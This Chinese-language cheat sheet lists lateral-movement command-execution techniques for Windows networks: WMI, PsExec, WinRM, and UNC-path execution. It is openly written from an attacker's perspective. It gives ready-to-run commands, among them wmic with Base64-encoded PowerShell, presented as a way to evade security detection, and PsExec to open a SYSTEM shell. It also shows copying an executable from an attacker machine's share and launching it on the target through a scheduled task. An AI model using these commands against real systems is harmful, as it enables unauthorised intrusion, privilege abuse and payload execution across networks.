横向渗透命令执行手段
1. WMI
WMI 是 Windows 操作系统中的一个核心组件,它允许系统管理员对本地或远程计算机进行管理。攻击者可以利用 WMI 强大的功能,在远程主机上执行命令,而不需要依赖其他第三方工具
常用命令:
wmic /node:目标IP /user:用户名 /password:密码 process call create "cmd /c dir > c:\result.txt"
:这个命令可以在目标主机上执行dir
命令,并将结果输出到c:\result.txt
文件wmic /node:目标IP /user:用户名 /password:密码 process call create "powershell.exe -e <Base64编码的命令>"
:通过 WMI 结合 PowerShell,可以执行更复杂的命令,绕过一些安全检测
2. PsExec
PsExec 是 Sysinternals 工具集中的一个经典工具,它允许在远程计算机上以本地 SYSTEM 账户身份执行命令。它利用 SMB 协议在远程主机上创建一个名为 PSEXESVC
的服务,通过这个服务来执行命令
常用命令:
PsExec.exe \\目标IP -u 用户名 -p 密码 cmd.exe
:直接在远程主机上打开一个交互式cmd
终端PsExec.exe \\目标IP -u 用户名 -p 密码 -s cmd.exe
:以 SYSTEM 权限打开一个cmd
终端,这是最常见也是最强大的用法
PsExec 的缺点是可能会被杀毒软件检测到,并且会在目标主机上留下服务创建和删除的日志
3. WinRM
WinRM 是微软基于 WS-Management 标准实现的管理协议,默认在 Windows Server 2012 及其以上版本中启用。它可以通过 HTTP 或 HTTPS 协议进行远程管理,非常适合在防火墙严格的环境下使用
常用命令:
winrs -r:目标IP -u:用户名 -p:密码 ipconfig
:在目标主机上执行ipconfig
命令Invoke-Command -ComputerName 目标IP -Credential 用户名 -ScriptBlock {whoami}
:使用 PowerShell 的Invoke-Command
cmdlet,可以更灵活地执行命令和脚本
4. UNC 路径执行
在某些情况下,如果目标主机开启了 SMB
或 IPC$
共享,并且你拥有相应的权限,可以直接利用 UNC
路径(\\IP\共享名
)来执行文件
常用命令:
copy \\攻击机IP\share\a.exe c:\windows\temp\a.exe
:将攻击机上的可执行文件复制到目标主机上schtasks /create /s 目标IP /tn "MyTask" /tr c:\windows\temp\a.exe /sc once /st 00:00
:利用计划任务在特定时间执行复制过来的文件